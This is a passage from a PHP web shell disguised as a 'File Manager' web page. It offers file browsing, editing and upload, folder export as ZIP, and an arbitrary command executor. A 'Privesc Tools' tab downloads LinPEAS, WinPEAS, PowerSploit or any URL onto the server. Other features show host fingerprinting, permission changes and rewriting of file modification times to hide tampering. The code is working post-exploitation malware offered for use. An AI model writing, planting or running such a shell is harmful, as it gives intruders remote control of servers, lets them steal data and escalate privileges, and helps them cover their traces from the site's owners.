is_file($target) && is_readable($target)) { // Clean any output buffers while (ob_get_level()) { ob_end_clean(); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } else { http_response_code(404); echo 'File not found or not readable.' . "\n\n"; echo 'Original path: ' . $file_path . "\n\n"; echo 'Searched in:' . "\n"; foreach ($possible_paths as $path) { $exists = file_exists($path); $readable = is_readable($path); $status = $exists ? ($readable ? 'EXISTS & READABLE' : 'EXISTS BUT NOT READABLE') : 'NOT FOUND'; echo '- ' . $path . ' (' . $status . ')' . "\n"; } exit; } } // Handle folder download (must be before any HTML output) if (isset($_GET['download_folder']) && isset($_SESSION['fm_logged'])) { $folder = $_GET['download_folder']; // Prevent path traversal if (strpos($folder, '..') !== false) { http_response_code(403); echo 'Forbidden.'; exit; } // Try multiple possible paths for the folder $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($folder, '/') === 0 || strpos($folder, '\\') === 0) { $possible_paths[] = $folder; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $folder; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $folder; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $folder; // 5. Try common directories if ($folder === 'public_html' || $folder === 'www' || $folder === 'html') { $possible_paths[] = dirname($doc_root) . '/' . $folder; $possible_paths[] = dirname(dirname($doc_root)) . '/' . $folder; } // 6. Try as absolute path without any modification $possible_paths[] = $folder; $folder_path = null; foreach ($possible_paths as $path) { if (is_dir($path)) { $folder_path = $path; break; } } if ($folder_path && is_dir($folder_path)) { // Create ZIP file $zip_filename = basename($folder_path) . '_' . date('Y-m-d_H-i-s') . '.zip'; $zip_path = sys_get_temp_dir() . '/' . $zip_filename; // Clean any output buffers while (ob_get_level()) { ob_end_clean(); } // Try ZipArchive first if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($folder_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { $file_path = $file->getRealPath(); if ($file_path === false) continue; $relative_path = substr($file_path, strlen($folder_path) + 1); if ($file->isDir()) { $zip->addEmptyDir($relative_path); } else { if (is_readable($file_path)) { $zip->addFile($file_path, $relative_path); } } } $zip->close(); if (file_exists($zip_path)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zip_filename . '"'); header('Content-Length: ' . filesize($zip_path)); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); readfile($zip_path); unlink($zip_path); exit; } } catch (Exception $e) { if (file_exists($zip_path)) { unlink($zip_path); } } } } // Fallback: try system commands if (function_exists('exec')) { $folder_path_escaped = escapeshellarg($folder_path); $zip_path_escaped = escapeshellarg($zip_path); // Try zip command $command = "zip -r $zip_path_escaped $folder_path_escaped"; exec($command, $output, $return_var); if ($return_var === 0 && file_exists($zip_path)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zip_filename . '"'); header('Content-Length: ' . filesize($zip_path)); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); readfile($zip_path); unlink($zip_path); exit; } } http_response_code(500); echo 'Failed to create ZIP archive.'; exit; } else { http_response_code(404); echo 'Folder not found!' . "\n\n"; echo 'Original path: ' . $folder . "\n\n"; echo 'Searched in:' . "\n"; foreach ($possible_paths as $path) { $exists = is_dir($path); $readable = is_readable($path); $status = $exists ? ($readable ? 'EXISTS & READABLE' : 'EXISTS BUT NOT READABLE') : 'NOT FOUND'; echo '- ' . $path . ' (' . $status . ')' . "\n"; } exit; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>File Manager</title> <script src="https://cdn.tailwindcss.com"></script> <script defer src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet"> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/6.65.7/codemirror.min.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/6.65.7/codemirror.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/6.65.7/mode/meta.min.js"></script> <style>body{font-family:'JetBrains Mono',monospace;background-color:#111827;color:#d1d5db}[x-cloak]{display:none !important}.CodeMirror{height:100%;border-radius:.5rem} .CodeMirror { background-color: #111827 !important; color: #d1d5db !important; } .CodeMirror-cursor { border-left: 2px solid #fff !important; z-index: 10; } .editor-container { height: calc(100vh - 200px); min-height: 400px; overflow: hidden; } .editor-textarea { height: 100%; min-height: 400px; } .CodeMirror { height: 100% !important; } .CodeMirror-scrollbar-filler { background: #111827 !important; } .CodeMirror-simplescroll-horizontal div, .CodeMirror-simplescroll-vertical div { background: #374151 !important; } </style> </head> <body class="bg-gray-900"> <div class="container mx-auto p-4" x-data="fm()" x-init="init()" x-cloak> <div class="grid grid-cols-1 xl:grid-cols-3 gap-6"> <main class="xl:col-span-2"> <header class="flex items-center mb-6"> <h1 class="text-3xl font-bold text-white"><i class="fa-solid fa-folder-tree mr-3"></i>File Manager</h1> </header> <template x-if="systemInfo"> <div class="mb-4 bg-gray-800 text-gray-200 rounded-lg p-4 overflow-x-auto"> <div class="flex flex-wrap items-center text-xs gap-x-4 gap-y-1 whitespace-nowrap"> <span><span class="font-semibold text-gray-400">Kernel</span><span class="font-mono text-white">:</span> <span class="font-mono" x-text="systemInfo['Kernel']"></span></span> <span>|</span> <span><span class="font-semibold text-gray-400">OS</span><span class="font-mono text-white">:</span> <span class="font-mono" x-text="systemInfo['OS Family']"></span></span> <span>|</span> <span><span class="font-semibold text-gray-400">Hostname</span><span class="font-mono text-white">:</span> <span class="font-mono" x-text="systemInfo['Hostname']"></span></span> <span>|</span> <span><span class="font-semibold text-gray-400">Server IP</span><span class="font-mono text-white">:</span> <span class="font-mono" x-text="systemInfo['Server IP']"></span></span> <span>|</span> <span><span class="font-semibold text-gray-400">PHP</span><span class="font-mono text-white">:</span> <span class="font-mono" x-text="systemInfo['PHP Version']"></span></span> <span>|</span> <span><span class="font-semibold text-gray-400">User</span><span class="font-mono text-white">:</span> <span class="font-mono" x-text="systemInfo['Current User']"></span></span> <span>|</span> <span><span class="font-semibold text-gray-400">Server</span><span class="font-mono text-white">:</span> <span class="font-mono" x-text="systemInfo['Server Software']"></span></span> </div> </div> </template> <div class="bg-gray-800 p-4 rounded-lg shadow-lg flex flex-col h-[85vh]"> <div class="flex border-b border-gray-700 mb-4"> <button @click="activeTab = 'explorer'" :class="{'bg-gray-700 text-white': activeTab === 'explorer', 'text-gray-400': activeTab !== 'explorer'}" class="py-2 px-4 font-semibold rounded-t-lg"><i class="fas fa-folder-open mr-2"></i>Explorer</button> <button @click="activeTab = 'sysinfo'" :class="{'bg-gray-700 text-white': activeTab === 'sysinfo', 'text-gray-400': activeTab !== 'sysinfo'}" class="py-2 px-4 font-semibold rounded-t-lg"><i class="fas fa-microchip mr-2"></i>System Info</button> <button @click="activeTab = 'privesc'" :class="{'bg-gray-700 text-white': activeTab === 'privesc', 'text-gray-400': activeTab !== 'privesc'}" class="py-2 px-4 font-semibold rounded-t-lg"><i class="fas fa-user-secret mr-2"></i>Privesc Tools</button> </div> <div x-show="activeTab === 'explorer'" class="flex flex-col flex-grow min-h-0"> <div class="flex mb-4 gap-2"> <input type="text" x-model="downloadUrl" placeholder="Download file from URL..." class="w-full max-w-xs p-2 bg-gray-700 border border-gray-600 rounded text-white" @keydown.enter="downloadFromUrl"> <button @click="downloadFromUrl" class="bg-blue-600 hover:bg-blue-700 text-white px-3 py-2 rounded font-bold">Download URL</button> <button @click="up()" class="bg-gray-700 hover:bg-gray-600 text-white px-3 py-2 rounded"><i class="fas fa-arrow-up"></i></button> <button @click="refresh()" class="bg-gray-700 hover:bg-gray-600 text-white px-3 py-2 rounded"><i class="fas fa-rotate"></i></button> <form @submit.prevent="uploadFile" class="inline-block"><input type="file" x-ref="upload" class="hidden" @change="uploadFile"><button type="button" @click="$refs.upload.click()" class="bg-blue-600 hover:bg-blue-700 text-white px-3 py-2 rounded"><i class="fas fa-upload"></i> Upload</button></form> <button @click="showCreate('dir')" class="bg-green-600 hover:bg-green-700 text-white px-3 py-2 rounded"><i class="fas fa-folder-plus"></i> New Dir</button> <button @click="showCreate('file')" class="bg-yellow-600 hover:bg-yellow-700 text-white px-3 py-2 rounded"><i class="fas fa-file-circle-plus"></i> New File</button> </div> <div class="bg-gray-700 p-2 rounded-md mb-4 text-gray-400 text-sm break-all flex items-center justify-between"> <div class="truncate pr-2"><i class="fas fa-folder-open mr-2"></i><span x-text="currentPath"></span></div> </div> <div class="overflow-auto flex-grow"> <table class="table-auto w-full text-left text-sm"> <thead class="bg-gray-800 text-gray-400 uppercase text-xs sticky top-0"><tr><th class="p-3">Name</th><th class="p-3">Size</th><th class="p-3">Perms</th><th class="p-3">Modified</th><th class="p-3 text-right">Actions</th></tr></thead> <tbody><template x-for="file in files" :key="file.path"><tr class="border-b border-gray-700 hover:bg-gray-600/50"><td class="p-2 truncate"><a href="#" @click.prevent="navigate(file)" class="flex items-center" :title="file.path"><i class="mr-3 fa-lg" :class="file.type==='dir'?'fa-solid fa-folder text-yellow-400':'fa-solid fa-file-lines text-gray-400'"></i><span x-text="file.name"></span></a></td><td class="p-2" x-text="file.size"></td><td class="p-2 font-mono"> <span @click="editPerms(file)" class="cursor-pointer hover:underline" :title="'Change permissions for ' + file.name" :style="file._editingPerms ? 'opacity:0.5;' : ''" x-text="file.perms"></span> <form x-show="file._editingPerms" @submit.prevent="savePerms(file)" class="inline-flex items-center gap-1 ml-2 align-middle"> <input type="text" x-model="file._newPerms" maxlength="4" size="4" class="w-14 p-1 bg-gray-700 border border-gray-500 rounded text-white font-mono text-xs" @keydown.enter.stop.prevent="savePerms(file)" @keydown.esc="file._editingPerms=false"> <button type="submit" class="text-green-400 hover:text-green-300"><i class="fas fa-check"></i></button> <button type="button" @click="file._editingPerms=false" class="text-red-400 hover:text-red-300"><i class="fas fa-times"></i></button> </form> </td><td class="p-2"> <span @click="editMtime(file)" class="cursor-pointer hover:underline" :title="'Change modification time for ' + file.name" :style="file._editingMtime ? 'opacity:0.5;' : ''" x-text="file.mtime"></span> <form x-show="file._editingMtime" @submit.prevent="saveMtime(file)" class="inline-flex items-center gap-1 ml-2 align-middle"> <input type="datetime-local" x-model="file._newMtime" class="w-48 p-1 bg-gray-700 border border-gray-500 rounded text-white text-xs" @keydown.enter.stop.prevent="saveMtime(file)" @keydown.esc="file._editingMtime=false"> <button type="submit" class="text-green-400 hover:text-green-300"><i class="fas fa-check"></i></button> <button type="button" @click="file._editingMtime=false" class="text-red-400 hover:text-red-300"><i class="fas fa-times"></i></button> </form> </td><td class="p-2 text-right space-x-3 text-base"> <a x-show="file.type==='file'" :href="downloadUrlFor(file)" class="text-yellow-400 hover:text-yellow-300" title="Download File"><i class="fas fa-download"></i></a> <a x-show="file.type==='dir'" :href="downloadFolderUrlFor(file)" class="text-yellow-400 hover:text-yellow-300" title="Download Folder as ZIP"><i class="fas fa-file-archive"></i></a> <button x-show="file.type==='file'" @click="editFile(file)" class="text-blue-400 hover:text-blue-300" title="Edit"><i class="fas fa-edit"></i></button> <button @click="showRename(file)" class="text-green-400 hover:text-green-300" title="Rename"><i class="fas fa-i-cursor"></i></button> <button x-show="file.name !=='..'" @click="deleteFile(file)" class="text-red-500 hover:text-red-400" title="Delete"><i class="fas fa-trash"></i></button> </td></tr></template></tbody> </table> </div> </div> <div x-show="activeTab === 'sysinfo'" class="overflow-auto flex-grow"> <button x-show="!systemInfo" @click="getSystemInfo()" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-bold p-4 rounded-lg text-lg">Scan System Information</button> <div x-show="systemInfo" class="space-y-4"> <template x-for="(value, key) in systemInfo" :key="key"> <div class="bg-gray-700 rounded-lg p-4"> <h3 class="font-bold text-lg text-white mb-2" x-text="key"></h3> <pre class="bg-black text-xs p-3 rounded-md overflow-auto max-h-64" x-text="value"></pre> </div> </template> </div> </div> <div x-show="activeTab === 'privesc'" class="overflow-auto flex-grow"> <div class="grid grid-cols-1 md:grid-cols-2 gap-4"> <div class="bg-gray-700 rounded-lg p-4 flex flex-col items-center text-center"><h3 class="font-bold text-white">LinPEAS</h3><p class="text-xs text-gray-400 mb-3 flex-grow">Linux Privilege Escalation Awesome Script</p><button @click="downloadTool('linpeas')" class="w-full bg-yellow-500 hover:bg-yellow-600 text-black font-bold py-2 rounded">Download</button></div> <div class="bg-gray-700 rounded-lg p-4 flex flex-col items-center text-center"><h3 class="font-bold text-white">WinPEAS</h3><p class="text-xs text-gray-400 mb-3 flex-grow">Windows Privilege Escalation Awesome Script</p><button @click="downloadTool('winpeas')" class="w-full bg-yellow-500 hover:bg-yellow-600 text-black font-bold py-2 rounded">Download</button></div> <div class="bg-gray-700 rounded-lg p-4 flex flex-col items-center text-center"><h3 class="font-bold text-white">PowerSploit</h3><p class="text-xs text-gray-400 mb-3 flex-grow">PowerUp.ps1 for PowerShell privesc</p><button @click="downloadTool('powersploit')" class="w-full bg-blue-500 hover:bg-blue-600 text-white font-bold py-2 rounded">Download</button></div> <div class="bg-gray-700 rounded-lg p-4"><h3 class="font-bold text-white text-center mb-2">Custom Tool</h3><p class="text-xs text-gray-400 mb-3 text-center">Download from any URL.</p><input type="text" x-model="customUrl" placeholder="https://example.com/tool.sh" class="w-full p-2 bg-gray-800 border border-gray-600 rounded text-white mb-3"><button @click="downloadTool('custom', customUrl)" class="w-full bg-gray-500 hover:bg-gray-600 text-white font-bold py-2 rounded">Download</button></div> </div> </div> <div x-show="isEditing" @keydown.window.escape="closeEditor" class="fixed inset-0 bg-black/70 flex items-center justify-center p-4 z-50"> <div class="bg-gray-900 rounded-lg shadow-xl w-full h-full max-w-6xl flex flex-col" @click.outside="closeEditor"> <header class="bg-gray-900 p-3 flex justify-between items-center rounded-t-lg border-b border-gray-700"> <h3 class="font-bold text-white truncate" x-text="`Editing: ${editingFile.path}`"></h3> <div> <button @click="saveFile" class="bg-blue-600 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-lg mr-2">Save</button> <button @click="closeEditor" class="bg-gray-600 hover:bg-gray-700 text-white font-bold py-2 px-4 rounded-lg">Cancel</button> </div> </header> <main class="p-2 flex-grow overflow-hidden"> <div class="editor-container"> <textarea id="editor" class="editor-textarea"></textarea> </div> </main> </div> </div> <div x-show="showingCreate" class="fixed inset-0 bg-black/70 flex items-center justify-center p-4 z-50"> <div class="bg-gray-800 rounded-lg shadow-xl w-full max-w-md p-6" @click.outside="showingCreate=false"> <h3 class="font-bold text-white mb-4" x-text="createType==='dir'?'Create Directory':'Create File'"></h3> <input type="text" x-model="createName" class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white mb-4" placeholder="Name..."> <div class="flex justify-end gap-2"><button @click="createItem" class="bg-green-600 hover:bg-green-700 text-white font-bold py-2 px-4 rounded-lg">Create</button><button @click="showingCreate=false" class="bg-gray-600 hover:bg-gray-700 text-white font-bold py-2 px-4 rounded-lg">Cancel</button></div> </div> </div> <div x-show="showingRename" class="fixed inset-0 bg-black/70 flex items-center justify-center p-4 z-50"> <div class="bg-gray-800 rounded-lg shadow-xl w-full max-w-md p-6" @click.outside="showingRename=false"> <h3 class="font-bold text-white mb-4">Rename</h3> <input type="text" x-model="renameName" class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white mb-4" placeholder="New name..."> <div class="flex justify-end gap-2"><button @click="renameItem" class="bg-green-600 hover:bg-green-700 text-white font-bold py-2 px-4 rounded-lg">Rename</button><button @click="showingRename=false" class="bg-gray-600 hover:bg-gray-700 text-white font-bold py-2 px-4 rounded-lg">Cancel</button></div> </div> </div> </main> <aside class="flex flex-col gap-6 h-[85vh]"> <div class="bg-gray-800 p-4 rounded-lg shadow-lg"> <h2 class="text-xl font-semibold text-white mb-4 text-center">Command Executor</h2> <div class="relative"> <input type="text" x-model="command" @keydown.enter="executeCommand" placeholder="Enter command..." class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500 pr-12"> <button @click="executeCommand" class="absolute right-2 top-2 bg-blue-600 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-lg">Run</button> </div> </div> <div class="bg-gray-800 p-4 rounded-lg shadow-lg flex flex-col flex-grow min-h-0"> <h2 class="text-xl font-semibold text-white mb-4 flex justify-between"><span>Output</span><div class="flex gap-2"> <button @click="copyOutput()" title="Copy output" class="text-sm bg-blue-600 hover:bg-blue-700 text-white font-bold py-1 px-3 rounded-lg">Copy</button> <button @click="output=''" class="text-sm bg-yellow-500 hover:bg-yellow-600 text-black font-bold py-1 px-3 rounded-lg">Clear</button> </div></h2> <pre class="bg-black text-xs p-4 rounded-md overflow-auto h-full" x-text="output"></pre> </div> </aside> </div> </div> <script> function fm() { return { activeTab: 'explorer', systemInfo: null, customUrl: '', downloadUrl: '', currentPath: '', files: [], isEditing: false, editingFile: {}, editor: null, showingCreate: false, createType: '', createName: '', showingRename: false, renameFile: {}, renameName: '', output: '', command: '', // control streaming and view state activeJobId: null, pollTimer: null, viewSeq: 0, init() { this.getSystemInfo(); this.getFiles('<?= addslashes(__DIR__) ?>'); }, clearPoll() { if (this.pollTimer) { clearTimeout(this.pollTimer); this.pollTimer = null; } }, async cancelJob(stopServer = false) { this.clearPoll(); const jobId = this.activeJobId; this.activeJobId = null; if (stopServer && jobId) { // best-effort stop; ignore errors try { await this.api('exec_bg_stop', { jobId }); } catch (_) {} } }, async copyOutput() { const text = this.output || ''; try { if (navigator.clipboard && window.isSecureContext) { await navigator.clipboard.writeText(text); } else { const ta = document.createElement('textarea'); ta.value = text; ta.style.position = 'fixed'; ta.style.top = '-1000px'; document.body.appendChild(ta); ta.focus(); ta.select(); document.execCommand('copy'); document.body.removeChild(ta); } this.output = (text ? text : '') + (text && !text.endsWith('\n') ? '\n' : '') + '[Copied to clipboard]'; } catch (e) { this.output = (text ? text : '') + (text && !text.endsWith('\n') ? '\n' : '') + '[Copy failed: ' + (e && e.message ? e.message : String(e)) + ']'; } }, async api(action, payload, isUpload = false) { try { let res; const url = '<?= htmlspecialchars($_SERVER['PHP_SELF']) ?>'; if (isUpload) { const form = new FormData(); form.append('file', payload.file); form.append('path', payload.path); res = await fetch(url, { method: 'POST', body: form, credentials: 'same-origin' }); } else { res = await fetch(url, { method: 'POST', credentials: 'same-origin', headers: {'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'}, body: JSON.stringify({ action, payload }) }); } if (!res.ok) { const text = await res.text().catch(() => ''); throw new Error(`HTTP ${res.status} ${res.statusText}${text ? ': ' + text.slice(0, 300) : ''}`); } const raw = await res.text(); let result; try { result = JSON.parse(raw); } catch (_) { throw new Error('Invalid JSON: ' + raw.slice(0, 300)); } if (result.status !== 'success') throw new Error(result.message || 'Server error'); return result.data; } catch (e) { this.output = 'Error: ' + (e && e.message ? e.message : String(e)); return null; } }, async getFiles(path) { this.output = 'Loading...'; const data = await this.api('list', { path }); if (data) { this.files = data.files; this.currentPath = data.current_path; this.output = `Listed contents of ${this.currentPath}`; } }, up() { if (!this.currentPath) return; const up = this.currentPath.replace(/\\|\//g, '/').split('/').slice(0, -1).join('/') || '/'; this.getFiles(up); }, refresh() { this.getFiles(this.currentPath); }, async navigate(file) { if (file.type === 'dir') return this.getFiles(file.path); // Cancel any ongoing command streaming to avoid mixing outputs await this.cancelJob(false); // Prevent race conditions when clicking multiple files quickly const seq = ++this.viewSeq; this.output = `Loading ${file.name}...`; const content = await this.api('get', { path: file.path }); if (seq !== this.viewSeq) return; // stale response, ignore if (content !== null) { this.output = `--- ${file.name} ---\n` + content; } }, async editFile(file) { // Open file in editor const content = await this.api('get', { path: file.path }); if (content !== null) { this.editingFile = file; this.isEditing = true; this.$nextTick(() => { // Set textarea value before initializing CodeMirror const textarea = document.getElementById('editor'); textarea.value = content; const info = CodeMirror.findModeByExtension(file.name.split('.').pop()); this.editor = CodeMirror.fromTextArea(textarea, { lineNumbers: true, mode: info ? info.mode : 'text/plain', theme: 'default', lineWrapping: true, scrollbarStyle: 'native' }); // Refresh CodeMirror to ensure proper sizing setTimeout(() => { if (this.editor) { this.editor.refresh(); } }, 100); }); this.output = `Opened file: ${file.name}`; } }, async saveFile() { if (!this.editor) return; const content = this.editor.getValue(); const data = await this.api('save', { path: this.editingFile.path, content }); if (data) { this.output = 'File saved.'; this.closeEditor(); this.refresh(); } }, closeEditor() { if (this.editor) { this.editor.toTextArea(); this.editor = null; } this.isEditing = false; this.editingFile = {}; }, showCreate(type) { this.createType = type; this.createName = ''; this.showingCreate = true; }, async createItem() { if (!this.createName.trim()) return; const path = this.currentPath + '/' + this.createName; const data = await this.api(this.createType === 'dir' ? 'mkdir' : 'touch', { path }); if (data) { this.output = (this.createType === 'dir' ? 'Directory' : 'File') + ' created.'; this.showingCreate = false; this.refresh(); } }, async deleteFile(file) { if (!confirm(`Delete '${file.name}'?`)) return; const data = await this.api('delete', { path: file.path }); if (data) { this.output = 'Deleted: ' + file.name; this.refresh(); } }, showRename(file) { this.renameFile = file; this.renameName = file.name; this.showingRename = true; }, async renameItem() { if (!this.renameName.trim()) return; const to = this.currentPath + '/' + this.renameName; const data = await this.api('rename', { from: this.renameFile.path, to }); if (data) { this.output = 'Renamed.'; this.showingRename = false; this.refresh(); } }, async uploadFile(e) { const file = this.$refs.upload.files[0]; if (!file) return; const data = await this.api('upload', { file, path: this.currentPath }, true); if (data) { this.output = 'Uploaded: ' + file.name; this.refresh(); } }, async executeCommand() { if (!this.command.trim()) return; // Stop previous streaming job if any await this.cancelJob(true); this.output = 'Executing...'; // Start background job to avoid request timeouts const start = await this.api('exec_bg_start', { command: this.command, dir: this.currentPath }); if (!start) return; const jobId = start.jobId; this.activeJobId = jobId; let offset = 0; const poll = async () => { // aborted or switched view if (this.activeJobId !== jobId) return; const res = await this.api('exec_bg_read', { jobId, offset }); if (!res) return; const { text, nextOffset, done } = res; if (this.activeJobId !== jobId) return; // re-check after await if (text) this.output += (this.output.endsWith('\n') ? '' : '\n') + text; offset = nextOffset; if (!done) { this.pollTimer = setTimeout(poll, 1000); } else { this.activeJobId = null; this.clearPoll(); } }; this.output = ''; poll(); this.command = ''; }, async getSystemInfo() { this.systemInfo = {'Status': 'Scanning...'}; const data = await this.api('system_info'); if (data) this.systemInfo = data; }, async downloadTool(tool, url = '') { this.output = `Downloading ${tool}...`; const data = await this.api('download_tool', {tool, url}); if(data) {this.output = data; this.customUrl = '';} }, async downloadFromUrl() { if (!this.downloadUrl.trim()) return; this.output = 'Downloading from URL...'; const data = await this.api('download_url_to_dir', { url: this.downloadUrl, dir: this.currentPath }); if (data) this.output = data; this.downloadUrl = ''; }, editPerms(file) { this.files.forEach(f => { f._editingPerms = false; }); file._editingPerms = true; file._newPerms = file.perms.match(/[0-7]{3,4}/) ? file.perms.match(/[0-7]{3,4}/)[0] : ''; }, async savePerms(file) { const mode = file._newPerms; if (!/^[0-7]{3,4}$/.test(mode)) { this.output = 'Invalid permission format.'; return; } const data = await this.api('chmod_file', { path: file.path, mode }); if (data) { this.output = 'Permissions updated.'; file._editingPerms = false; this.refresh(); } }, editMtime(file) { this.files.forEach(f => { f._editingMtime = false; }); file._editingMtime = true; // Convert current mtime to datetime-local format const mtimeDate = new Date(file.mtime); const year = mtimeDate.getFullYear(); const month = String(mtimeDate.getMonth() + 1).padStart(2, '0'); const day = String(mtimeDate.getDate()).padStart(2, '0'); const hours = String(mtimeDate.getHours()).padStart(2, '0'); const minutes = String(mtimeDate.getMinutes()).padStart(2, '0'); file._newMtime = `${year}-${month}-${day}T${hours}:${minutes}`; }, async saveMtime(file) { const timestamp = file._newMtime; if (!timestamp) { this.output = 'Please enter a valid timestamp.'; return; } const data = await this.api('touch_file', { path: file.path, timestamp: timestamp }); if (data) { this.output = 'Modification time updated.'; file._editingMtime = false; this.refresh(); } }, downloadUrlFor(file) { // Use the full file path for download const url = new URL(window.location.href); url.search = ''; url.hash = ''; return url.pathname + '?download=' + encodeURIComponent(file.path); }, downloadFolderUrlFor(file) { // Use the full absolute path for download const url = new URL(window.location.href); url.search = ''; url.hash = ''; return url.pathname + '?download_folder=' + encodeURIComponent(file.path); } } } </script> </body> </html>